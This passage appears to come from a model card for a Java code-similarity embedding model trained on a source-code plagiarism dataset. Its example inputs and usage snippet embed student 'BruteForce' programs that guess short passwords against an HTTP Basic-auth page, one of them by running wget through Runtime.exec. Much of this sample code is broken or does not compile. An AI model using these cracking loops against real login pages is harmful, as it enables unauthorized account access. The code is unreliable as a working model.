int bat = (0xFF & (int) data[i]);
bat <<= 8;
if ((i+1) < data.length) {
bat |= (0xFF & (int) data[i+1]);
trip = true;
}
bat <<= 8;
if ((i+2) < data.length) {
bat |= (0xFF & (int) data[i+2]);
quad = true;
}
out[index+3] = alphabet[(quad? ( bat & 0x3F): 64)];
bat >>= 6;
out[index+2] = alphabet[(trip? ( bat & 0x3F): 64)];
bat >>= 6;
out[index+1] = alphabet[bat & 0x3F];
bat >>= 6;
out[index+0] = alphabet[ bat & 0x3F];
}
return out;
}
static public byte[] decode(char[] data)
{
int tempLen = data.length;
for( int ix=0; ix<data.length; ix++ )
{
if( (data[ix] > 255) || codes[ data[ix] ] < 0 )
--tempLen;
}
int len = (tempLen / 4) * 3;
if ((tempLen % 4) == 3) len += 2;
if ((tempLen % 4) == 2) len += 1;
byte[] out = new byte[len];
int shift = 0;
int accum = 0;
int index = 0;
for (int ix=0; ix<data.length; ix++)
{
int value = (data[ix]>255)? -1: codes[ data[ix] ];
if ( value >= 0 )
{
accum <<= 6;
shift += 6;
accum |= value;
if ( shift >= 8 )
{
shift -= 8;
out[index++] =
(byte) ((accum >> shift) & 0xff);
}
}
}
if( index != out.length)
{
throw new Error("Miscalculated data length (wrote " + index + " instead of " + out.length + ")");
}
return out;
}
static private char[] alphabet =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
.toCharArray();
static private byte[] codes = new byte[256];
static {
for (int i=0; i<256; i++) codes[i] = -1;
for (int i = 'A'; i <= 'Z'; i++) codes[i] = (byte)( i - 'A');
for (int i = 'a'; i <= 'z'; i++) codes[i] = (byte)(26 + i - 'a');
for (int i = '0'; i <= '9'; i++) codes[i] = (byte)(52 + i - '0');
codes['+'] = 62;
codes['/'] = 63;
}
}
- |+
import java.net.*;
import java.io.*;
import java.misc.*;
import java.io.BufferedInputStream;
import java.awt.*;
import java.awt.event.*;
public class WatchDog
{
public static void main (String args[])
{
String url = "http://yallara.cs.rmit.edu./~";
String file1 = "test1.txt";
int flag = 0;
WriteFile write = new WriteFile(url, file1, flag);
new DoSleep().print();
}
}
class DoSleep extends Thread
{
public synchronized void run()
{
String url = "http://yallara.cs.rmit.edu./~";
String file2 = "test2.txt";
int flag = 1;
int status = 0;
String file1 = "test1.txt";
System.out.println("Checking.........");
try
{
sleep();
WriteFile write = new WriteFile(url, file2, flag);
status = write.getStatus();
if(status != 0)
{
int flag2 = 0;
WriteFile write2 = new WriteFile(url, file1, flag2);
}
new DoSleep().print();
}
catch (InterruptedException e) {}
}
}
- "\n\n\n\n\n\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class BruteForce\n{\n\n\tpublic static void main(String[] args) \n\t{\n Runtime rt = Runtime.getRuntime();\n\t Process pr= null;\n char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\t String pass;\n char temp[] = {'a','a'};\n char temp1[] = {'a','a','a'};\n char temp2[] = {'a'};\n\n\t String f= new String();\n String resp = new String();\n int count=0;\n String success = new String();\n InputStreamReader instre;\n BufferedReader bufread;\n\n\n for(int k=0;k<52;k++)\n {\n temp2[0]=chars[k];\n pass = new String(temp2); \n count++; \n\n System.out.println(\"The password tried is------->\"+pass+\"---and attempt is==\"+count);\n \n f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\n \n\t try\n {\n\t\t pr = rt.exec(f);\n\n instre = new InputStreamReader(pr.getErrorStream());\n \n \n bufread = new BufferedReader(instre);\n\n resp = bufread.readLine();\n while( (resp = bufread.readLine())!= null)\n\t\t\t {\n if(resp.equals(\"HTTP request sent, awaiting response... 200 OK\"))\n {\n System.out.println(\"Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"+count);\n System.exit(0);\n }\n\t\t\t\n }\n\t \t\n }catch(java.io.IOException e){}\n }\n\n\n\n \n for(int j=0;j<52;j++)\n {\n for(int k=0;k<52;k++)\n {\n temp[0]=chars[j];\n temp[1]=chars[k];\n\n pass = new String(); \n count++; \n\n System.out.println(\"The password tried is------->\"+pass+\"---and attempt is==\"+count);\n \n f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\n \n\t try\n {\n\t\t pr = rt.exec(f);\n\n instre = new InputStreamReader(pr.getErrorStream());\n \n \n bufread = new BufferedReader(instre);\n\n resp = bufread.readLine();\n while( (resp = bufread.readLine())!= null)\n\t\t\t {\n if(resp.equals(\"HTTP request sent, awaiting response... 200 OK\"))\n {\n System.out.println(\"Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"+count);\n System.exit(0);\n }\n\t\t\t\n }\n\t \t\n }catch(java.io.IOException e){}\n }\n }\n\n\n \n for(int i=0;i<52;i++)\n for(int j=0;j<52;j++)\n for(int k=0;k<52;k++)\n {\n temp1[0]=chars[i];\n temp1[1]=chars[j];\n temp1[2]=chars[k];\n pass = new String(temp1); \n count++; \n\n System.out.println(\"The password tried is------->\"+pass+\"---and attempt is==\"+count);\n \n f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\n \n\t try\n {\n\t\t pr = rt.exec(f);\n\n instre = new InputStreamReader(pr.getErrorStream());\n \n \n bufread = new BufferedReader(instre);\n\n resp = bufread.readLine();\n while( (resp = bufread.readLine())!= null)\n\t\t\t {\n if(resp.equals(\"HTTP request sent, awaiting response... 200 OK\"))\n {\n System.out.println(\"Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"+count);\n System.exit(0);\n }\n\t\t\t\n }\n\t \t\n }catch(java.io.IOException e){}\n }\n\t\n\t\t\n\t}\n\t\n\t\n} \n\t\t\n"
- source_sentence: "\n\nimport java.awt.*;\nimport java.awt.event.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class BruteForce extends Frame implements ActionListener {\n\tprivate TextField tf = new TextField();\n private TextArea ta = new TextArea();\n\n \tpublic void actionPerformed (ActionEvent e) {\n\t\tString s = tf.getText();\n\t\tString login=\"\";\n\n\t\tif (s.length() != 0)\n\t\t{\n\t\t\tchar symbol = 'A';\n\n\t\t\tlogin=\":\";\n\t\t\t\n\t\t\tfor(int i = 0; i < 3; i++)\n\t\t\t{\n\t\t\t\tsymbol = (char)(57.0 * Math.random() + 65);\n\n\t\t\t\tif(symbol>90 && symbol<97){\n\t\t\t\t\ti--;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tlogin=login+symbol;\n\n\t\t\t}\n\n\t\t ta.setText (fetchURL (s,login));\n\t\t System.out.println(\"runing\"+login);\n\t\t}while(ta.getText().compareTo(\"Invalid URL\")!=0 || ta.getText().compareTo(\"Error URL\")!=0);\n\n\t\tSystem.out.println(\"The password is: \"+login);\n\t}\n\n\tpublic BruteForce() {\n\t\tsuper (\"SEC-CRACK\");\n\n\t \n\t add (tf, BorderLayout.LEFT);\n\t ta.setEditable(false);\n\t add (ta, BorderLayout.CENTER);\n\t tf.addActionListener (this);\n\n\t addWindowListener (new WindowAdapter() {\n\t public void windowClosing (WindowEvent e) {\n\t dispose();\n\t System.exit(0);\n\t }\n\t });\n\t}\n\n\tprivate String fetchURL (String urlString,String login) {\n\t\tStringWriter sw = new StringWriter();\n\t PrintWriter pw = new PrintWriter();\n\n\t try {\n\t URL url = new URL (urlString);\n\n\t \n\t\n\t \n\n\t \n\t String encoding = new url.misc.BASE64Encoder().encode (login.getBytes());\n\n\t \n\t URLConnection uc = url.openConnection();\n\t uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n\t InputStream content = (InputStream)uc.getInputStream();\n\t BufferedReader in =\n\t new BufferedReader (new InputStreamReader (content));\n\t String line;\n\t while ((line = in.readLine()) != null) {\n\t pw.println (line);\n\t }\n\t } catch (MalformedURLException e) {\n\t pw.println (\"Invalid URL\");\n\t } catch (IOException e) {\n\t pw.println (\"Error URL\");\n\t }\n\t return sw.toString();\n\t}\n\n\n\tpublic static void main(String args[]) {\n\t\tFrame f = new BruteForce();\n\t f.setSize(300, 300);\n\t f.setVisible (true);\n\t}\n}\n\n\n\n\nclass Base64Converter\n{\n\tpublic static final char [ ] alphabet = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', \n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', \n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', \n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', \n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', \n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', \n 'w', 'x', 'y', 'z', '0', '1', '2', '3', \n '4', '5', '6', '7', '8', '9', '+', '/' }; \n\n\n public static String encode ( String s )\n {\n return encode ( s.getBytes ( ) );\n }\n\n public static String encode ( byte [ ] octetString )\n {\n int bits24;\n int bits6;\n\n char [ ] out\n = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];\n\n int outIndex = 0;\n int i = 0;\n\n while ( ( i + 3 ) <= octetString.length )\n {\n \n bits24 = ( octetString [ i++ ] & 0xFF ) << 16;\n bits24 |= ( octetString [ i++ ] & 0xFF ) << 8;\n bits24 |= ( octetString [ i++ ] & 0xFF ) << 0;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0000003F );\n out [ outIndex++ ] = alphabet [ bits6 ];\n }\n\n if ( octetString.length - i == 2 )\n {\n \n bits24 = ( octetString [ i ] & 0xFF ) << 16;\n bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n out [ outIndex++ ] = '=';\n }\n else if ( octetString.length - i == 1 )\n {\n \n bits24 = ( octetString [ i ] & 0xFF ) << 16;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n out [ outIndex++ ] = '=';\n out [ outIndex++ ] = '=';\n }\n\n return new String ( out );\n }\n}\n\n"
sentences:
- |+
import java.io.*;
import java.text.*;
import java.util.*;
import java.net.*;
public class BruteForce extends Thread
{
private static final String USERNAME = "";
private static final char [] POSSIBLE_CHAR =
{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private static int NUMBER_OF_THREAD = 500;
private static Date startDate = null;
private static Date endDate = null;
private String address;
private String password;
public BruteForce(String address, String password)
{
this.address = address;
this.password = password;
}
public static void main(String[] args) throws IOException
{
if (args.length < 1)
{
System.err.println("Invalid usage!");
System.err.println("Usage: java BruteForce <url>");
System.exit(1);
}
try
{
brute(args[0], USERNAME);
}
catch(Exception e)
{
e.printStackTrace();
System.exit(1);
}
}
public static void brute(String address, String user)
{
BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD];
int index = 0;
startDate = new Date();
for(int i = 0; i < POSSIBLE_CHAR.length; i++)
{
for(int j = 0; j < POSSIBLE_CHAR.length; j++)
{
for(int k = 0; k < POSSIBLE_CHAR.length; k++)
{
String password = ""+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+
POSSIBLE_CHAR[k];
if (threads[index] != null && threads[index].isAlive())
{
try
{
threads[index].join();
}
catch(InterruptedException e ) {}
}
threads[index] = new BruteForce(address, password);
threads[index].get();
index = (index++) % threads.length;
}
}
}
}
public void run()
{
if (endDate != null)
return;
try
{
URLConnection conn = (new URL(address)).openConnection();
conn.setDoInput(true);
if (login(conn, USERNAME, password))
{
endDate = new Date();
System.out.println("Found the password: \""+password+"\"!");
SimpleDateFormat format = new SimpleDateFormat("dd/MM/yyyy HH:mm:");
System.out.println("Process started at: "+format.format(startDate));
System.out.println("Process started at: "+format.format(endDate));
double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;
System.out.println("Time taken: "+timeTaken+" minutes");
System.exit(0);
}
else
{
System.out.println("Password: \""+password+"\" Failed!");
return;
}
}
catch(Exception e)
{
e.printStackTrace();
}
}
public static boolean login(URLConnection conn, String user, String pass)
{
try
{
String encodeAuth = " "+Base64Encoder.encode(user+":"+pass);
conn.setRequestProperty ("Authorization", encodeAuth);
conn.connect();
conn.getInputStream();
}
catch(Exception e)
{
return false;
}
return true;
}
}
- |
import java.net.*;
import java.io.*;
public class Base64Encoder
{
private final static char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'
};
public static String encode (String string)
{
String encodedString = "";
byte bytes [] = string.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length)
{
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length)
{
b2 = 0;
b3 = 0;
pad = 2;
}
else
{
b2 = bytes [i++];
if (i >= bytes.length)
{
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad)
{
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += "=";
break;
case 2:
encodedString += "==";
break;
}
}
return encodedString;
}
}
- "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n a.attack(args);\n }\n\n public void attack(String args[]) {\n try {\n\n String login = new String(\"\");\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n }\n System.out.println(\"Password Cracked Successfully!!!\");\n System.out.println(\"The passsword is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n catch (IOException e) {\n \n String r = new String(e.getMessage());\n if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n System.out.println(\"Trying again with new password\");\n Bruteforce a = new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; int j= m; int k= n;\n\n String c = new String();\n String c1 = new String();\n String c2 = new String();\n String c3 = new String();\n String c4 = new String();\n boolean flag;\n\n for (i=l;i<123;i++)\n for (j=m;j<123;j++)\n for (k=n;k<123;k++)\n {\n if( flag = true )\n {\n\n i1 = (char)i;\n j1 = (char)j;\n k1 = (char)k;\n\n if (i==91) i=97;\n if (j==91) j=97;\n if (k==91) k=97;\n\n c = i1+\"\";\n c1 = j1+\"\";\n c2 = k1+\"\";\n c3 = c.concat(c1);\n c4 = c3.concat(c2);\n }else break;\n }\n flag = false;\n return c4;\n }\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\", PasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n\n public String PasswordBase64(String username, String password) {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += \"=\";\n break;\n case 2:\n encodedString += \"==\";\n break;\n }\n }\n return encodedString;\n }\n }\n"
datasets:
- buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers
SentenceTransformer based on microsoft/unixcoder-base-unimodal
This is a sentence-transformers model finetuned from microsoft/unixcoder-base-unimodal on the soco_train_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
Model Details
Model Description
- Model Type: Sentence Transformer
- Base model: microsoft/unixcoder-base-unimodal
- Maximum Sequence Length: 512 tokens
- Output Dimensionality: 768 dimensions
- Similarity Function: Cosine Similarity
- Training Dataset:
Model Sources
- Documentation: Sentence Transformers Documentation
- Repository: Sentence Transformers on GitHub
- Hugging Face: Sentence Transformers on Hugging Face
Full Model Architecture
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
Usage
Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
pip install -U sentence-transformers
Then you can load this model and run inference.
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-UnixCoder-Softmax-PairClass-VAST-NoEval")
# Run inference
sentences = [
'\n\nimport java.awt.*;\nimport java.awt.event.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class BruteForce extends Frame implements ActionListener {\n\tprivate TextField tf = new TextField();\n private TextArea ta = new TextArea();\n\n \tpublic void actionPerformed (ActionEvent e) {\n\t\tString s = tf.getText();\n\t\tString login="";\n\n\t\tif (s.length() != 0)\n\t\t{\n\t\t\tchar symbol = \'A\';\n\n\t\t\tlogin=":";\n\t\t\t\n\t\t\tfor(int i = 0; i < 3; i++)\n\t\t\t{\n\t\t\t\tsymbol = (char)(57.0 * Math.random() + 65);\n\n\t\t\t\tif(symbol>90 && symbol<97){\n\t\t\t\t\ti--;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tlogin=login+symbol;\n\n\t\t\t}\n\n\t\t ta.setText (fetchURL (s,login));\n\t\t System.out.println("runing"+login);\n\t\t}while(ta.getText().compareTo("Invalid URL")!=0 || ta.getText().compareTo("Error URL")!=0);\n\n\t\tSystem.out.println("The password is: "+login);\n\t}\n\n\tpublic BruteForce() {\n\t\tsuper ("SEC-CRACK");\n\n\t \n\t add (tf, BorderLayout.LEFT);\n\t ta.setEditable(false);\n\t add (ta, BorderLayout.CENTER);\n\t tf.addActionListener (this);\n\n\t addWindowListener (new WindowAdapter() {\n\t public void windowClosing (WindowEvent e) {\n\t dispose();\n\t System.exit(0);\n\t }\n\t });\n\t}\n\n\tprivate String fetchURL (String urlString,String login) {\n\t\tStringWriter sw = new StringWriter();\n\t PrintWriter pw = new PrintWriter();\n\n\t try {\n\t URL url = new URL (urlString);\n\n\t \n\t\n\t \n\n\t \n\t String encoding = new url.misc.BASE64Encoder().encode (login.getBytes());\n\n\t \n\t URLConnection uc = url.openConnection();\n\t uc.setRequestProperty ("Authorization", " " + encoding);\n\t InputStream content = (InputStream)uc.getInputStream();\n\t BufferedReader in =\n\t new BufferedReader (new InputStreamReader (content));\n\t String line;\n\t while ((line = in.readLine()) != null) {\n\t pw.println (line);\n\t }\n\t } catch (MalformedURLException e) {\n\t pw.println ("Invalid URL");\n\t } catch (IOException e) {\n\t pw.println ("Error URL");\n\t }\n\t return sw.toString();\n\t}\n\n\n\tpublic static void main(String args[]) {\n\t\tFrame f = new BruteForce();\n\t f.setSize(300, 300);\n\t f.setVisible (true);\n\t}\n}\n\n\n\n\nclass Base64Converter\n{\n\tpublic static final char [ ] alphabet = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\', \n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\', \n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\', \n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\', \n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\', \n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\' }; \n\n\n public static String encode ( String s )\n {\n return encode ( s.getBytes ( ) );\n }\n\n public static String encode ( byte [ ] octetString )\n {\n int bits24;\n int bits6;\n\n char [ ] out\n = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];\n\n int outIndex = 0;\n int i = 0;\n\n while ( ( i + 3 ) <= octetString.length )\n {\n \n bits24 = ( octetString [ i++ ] & 0xFF ) << 16;\n bits24 |= ( octetString [ i++ ] & 0xFF ) << 8;\n bits24 |= ( octetString [ i++ ] & 0xFF ) << 0;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0000003F );\n out [ outIndex++ ] = alphabet [ bits6 ];\n }\n\n if ( octetString.length - i == 2 )\n {\n \n bits24 = ( octetString [ i ] & 0xFF ) << 16;\n bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n out [ outIndex++ ] = \'=\';\n }\n else if ( octetString.length - i == 1 )\n {\n \n bits24 = ( octetString [ i ] & 0xFF ) << 16;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n out [ outIndex++ ] = \'=\';\n out [ outIndex++ ] = \'=\';\n }\n\n return new String ( out );\n }\n}\n\n',
'\n\nimport java.io.*;\nimport java.text.*;\nimport java.util.*;\nimport java.net.*;\n\npublic class BruteForce extends Thread\n{\n private static final String USERNAME = "";\n private static final char [] POSSIBLE_CHAR =\n {\'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\',\n \'n\', \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\', \'x\', \'y\', \'z\',\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\', \'I\', \'J\', \'K\', \'L\', \'M\',\n \'N\', \'O\', \'P\', \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\', \'Y\', \'Z\'};\n private static int NUMBER_OF_THREAD = 500;\n\n private static Date startDate = null;\n private static Date endDate = null;\n\n private String address;\n private String password;\n\n public BruteForce(String address, String password)\n {\n this.address = address;\n this.password = password;\n }\n\n public static void main(String[] args) throws IOException\n {\n if (args.length < 1)\n {\n System.err.println("Invalid usage!");\n System.err.println("Usage: java BruteForce <url>");\n System.exit(1);\n }\n\n try\n {\n brute(args[0], USERNAME);\n }\n catch(Exception e)\n {\n e.printStackTrace();\n System.exit(1);\n }\n }\n\n public static void brute(String address, String user)\n {\n BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD];\n int index = 0;\n\n startDate = new Date();\n for(int i = 0; i < POSSIBLE_CHAR.length; i++)\n {\n for(int j = 0; j < POSSIBLE_CHAR.length; j++)\n {\n for(int k = 0; k < POSSIBLE_CHAR.length; k++)\n {\n String password = ""+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+\n POSSIBLE_CHAR[k];\n\n if (threads[index] != null && threads[index].isAlive())\n {\n try\n {\n threads[index].join();\n }\n catch(InterruptedException e ) {}\n }\n threads[index] = new BruteForce(address, password);\n threads[index].get();\n\n index = (index++) % threads.length;\n }\n }\n }\n }\n\n public void run()\n {\n if (endDate != null)\n return;\n\n try\n {\n\n URLConnection conn = (new URL(address)).openConnection();\n conn.setDoInput(true);\n\n if (login(conn, USERNAME, password))\n {\n endDate = new Date();\n System.out.println("Found the password: \\""+password+"\\"!");\n SimpleDateFormat format = new SimpleDateFormat("dd/MM/yyyy HH:mm:");\n System.out.println("Process started at: "+format.format(startDate));\n System.out.println("Process started at: "+format.format(endDate));\n double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;\n System.out.println("Time taken: "+timeTaken+" minutes");\n System.exit(0);\n }\n else\n {\n System.out.println("Password: \\""+password+"\\" Failed!");\n return;\n }\n }\n catch(Exception e)\n {\n e.printStackTrace();\n }\n\n }\n\n public static boolean login(URLConnection conn, String user, String pass)\n {\n try\n {\n String encodeAuth = " "+Base64Encoder.encode(user+":"+pass);\n conn.setRequestProperty ("Authorization", encodeAuth);\n conn.connect();\n conn.getInputStream();\n }\n catch(Exception e)\n {\n return false;\n }\n return true;\n }\n}\n\n\n',
'\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Base64Encoder\n{\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n public static String encode (String string)\n {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length)\n {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length)\n {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else\n {\n b2 = bytes [i++];\n if (i >= bytes.length)\n {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad)\n {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += 